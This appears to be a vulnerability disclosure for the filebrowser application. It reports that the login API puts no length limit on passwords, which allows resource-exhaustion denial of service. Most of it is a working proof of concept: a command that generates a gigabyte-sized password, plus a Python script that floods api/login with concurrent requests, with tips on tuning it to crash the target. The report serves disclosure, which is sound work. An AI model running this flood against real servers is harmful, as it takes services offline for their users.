Summary

Unchecked passwords maximums allow for an arbitrarily large password to be passed into the login API. This spikes CPU and memory, and after testing, crashes, heavily lags any container created, and has even made my docker daemon start to send errors with status code 500 even after the container was destroyed.

Details

When sending JSON in the body of the request to the route api/login, if a large password is sent, there is no checking on a maximum length password. This means that any length string can be sent to the server and it will be hashed. Specifically the function CheckPwd in users/password.go is called to hash and check to see if the user supplied password is valid, but there is no maximum length for the password checked in that function. Depending on how many concurrent requests are being made, there may be no logs about the failed login attempts.

PoC

Create a file with a large password using this command:

yes "thisisalongphraseithinksoyeahitisactuallyimsureitiswhatisthisisamouthwoahimcoolwheredidthiscomefromwowza" | head -n 10000000 > large-password.txt

This make a file that's about a gigabyte. You can mess with the n parameter in the head function if you want to get a bigger or smaller file size. Afterwards, run the following script to make a filebrowser container:

docker run -v filebrowser_data:/srv -v filebrowser_database:/database -v filebrowser_config:/config -p 8080:80 filebrowser/filebrowser

After running the container, I would recommend bringing up some sort of performance dashboard on the container you're running to monitor CPU and memory usage. Afterwards, run the following Python script (make sure to install dependencies: pip install aiohttp asyncio ). The CONCURRENT_REQUESTS parameter controls the number of requests to be making at one time. The TOTAL_REQUESTS parameter controls the grand total number of requests sent to the targeted container. If you want more severe results, turn it up. If you want less severe results, turn it down. The setting it's on right now is where I've found it can either crash the targeted container or just make it lag until it doesn't respond but is still on.

import aiohttp
import asyncio
from time import perf_counter

url = 'http://localhost:8080/api/login'
CONCURRENT_REQUESTS = 30
TOTAL_REQUESTS = 1000
async def make_request(session, body, semaphore):
    async with semaphore:
        try:
            async with session.post(url, json=body) as response:
                print(response.status)
        except asyncio.TimeoutError:
            print('Request timed out')
        except aiohttp.ConnectionTimeoutError:
            print('Request timed out')
        except Exception as e:
            print(f"Unexpected error {e}")

async def main():
    with open("./large-password.txt", "r") as f:
        file_contents = f.read()

    body = {
        "username": "admin",
        "password": file_contents,
        "recaptcha": ""
    }

    headers = {"Content-Type": "application/json"}
    semaphore = asyncio.Semaphore(CONCURRENT_REQUESTS)

    async with aiohttp.ClientSession(headers=headers) as session:
        tasks = [
            make_request(session, body, semaphore)
            for _ in range(TOTAL_REQUESTS)  
        ]

        start = perf_counter()
        await asyncio.gather(*tasks)
        end = perf_counter()

        print(f"Completed {len(tasks)} requests in {end - start:.2f} seconds")

if __name__ == "__main__":
    asyncio.run(main())

Impact

I'm not sure if there's a specific name for this type of vulnerability. It impacts anyone who uses this service.